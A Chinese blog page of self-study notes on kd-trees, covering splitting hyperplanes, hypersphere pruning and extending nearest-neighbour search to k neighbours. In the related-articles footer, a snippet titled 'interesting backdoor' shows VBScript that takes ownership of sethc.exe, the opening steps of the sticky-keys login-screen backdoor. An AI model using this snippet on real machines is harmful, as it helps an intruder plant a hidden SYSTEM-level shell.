有意思的kd樹

2021-07-11 15:36:36 字數 2271 閱讀 6237

每乙個空間就像超級瑪麗裡面的不同遊戲區域。(雖然這個比喻能和kd樹劃分超平面(hyperplane)對應上的不多)

---------------------------------------kd樹自問自答---------------------------------------

我在有點理解kd樹的時候(完全理解kd樹之前),有一些疑惑和誤解:

問:如何保證某個點所在的最小空間邊界上的點是所有點中離它最近的點?

答:kd樹從來沒***過這一點,也不是這麼用的。它只是乙個資料點的組織形式。kd樹中位於(以資料點為中心的)超球體內的資料點才是候選點。

kd樹迴圈比較不同的特徵維度這種設定背後的原理是什麼?有什麼好處?

答:kd樹的預設距離計算方法是歐氏距離。(用某乙個座標軸的減去法,代替空間的點的距離計算)

問:它最近的點都在從葉結點到根結點的路徑上嗎?

答:並沒有直接關係。這個需要看在搜尋過程中,(程不增趨勢的)超球面所包含的kd樹的劃分都是搜尋範圍。

確定後candidate hypersphere後,是怎樣找到包含在所有超球面裡的點的呢?kd樹在這個過程中起到什麼優化作用呢?停止搜尋的條件又是什麼呢?

答:確定超平面後,並不窮舉超球面裡面的點。超球面只是用於限定範圍。只搜尋,在超球體中且在kd樹中且未被搜尋到的分枝。

答:kd樹應該是起到乙個資料點的空間組織形式吧。

答:整個搜尋過程是乙個遞迴過程,從根結點開始,到根結點結束。

超球面是如何剪枝(prune)的呢?

答:整個搜尋過程,超球體是在不斷減小(或者說不增大)的過程。在搜尋過程中,如果在測試點一側的劃分結束後,球面仍然伸展到了測試不包含測試點的另一側,則斷續向另一側搜尋。

------------------------------------------kd樹知識點理解------------------------------------------

kd樹中的『k』指的表示每個樣本(observation)的向量的維度。這個和k-means是不一樣的。(kd-tree, short for k-dimensional tree)。

kd樹不能儲存strings。

kd樹的每乙個結點的維度必須相同。(例如,乙個儲存四維結點的kd樹,不能用於儲存二維結點)。

kd樹是乙個二叉樹,它使用與軸線對齊(可理解為與乙個軸線平行,與另乙個垂直)的超平面(可理解為一維中的點,二維中的線,三維中的面,四維就不知道了。。)將點集中的點劃分到超空間(如三維空間)的子空間中(乙個小長方體,裡面有乙個點),而形成的乙個存在於超空間中的、由子空間形成的層次結構。

每乙個葉子結點都是資料點(可能包含少量幾個資料點,這個要看劃分力度)。

這種設定,巧妙地處理了空間的幾何劃分關係。利用這種設定,我們就不需要額外寫**來保持每次劃分時的劃分超平面的定義。

用每個維度的中位數劃分會形成乙個平衡二叉樹,有許多優良的特性,但會增加一些計算量。而且,平衡二叉樹未必是最優的二叉樹。

------------------------------------------kd樹圖例------------------------------------------

------------------------------------------1-nearest-----------------------------------------

按照stanford的作業中的方法,走一遍1近鄰的方法。然後依照下圖,在紙上走一遍尋找資料點的過程就能理解kd樹用在k近鄰中的原理了(為了保證涉及更多情況,我把stanford作業中的圖修改了一下,增加了兩個六邊形,建義以查詢小六邊形的最近鄰為例)。

1-nearest我知道了,那麼怎麼推廣到k呢?

看過了stanford的提示,我的想法如下:

在1-nearest基礎上,maintain(維持)乙個k維,初始化全為infinit的陣列(表示k個最近鄰點)

並且,這個k維陣列最好是有序的(按照與test point 的距離排出)。這樣,k個待選點的candidate sphere就是以測試點(test point)為中心,以k維陣列中與test point 最遠點的距離為半徑的超球面裡面了。然後搜尋完這個範圍,以搜尋完這個kd樹結束。

參考:《統計學習方法》李航

python實現:

斯坦福c++作業3:

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...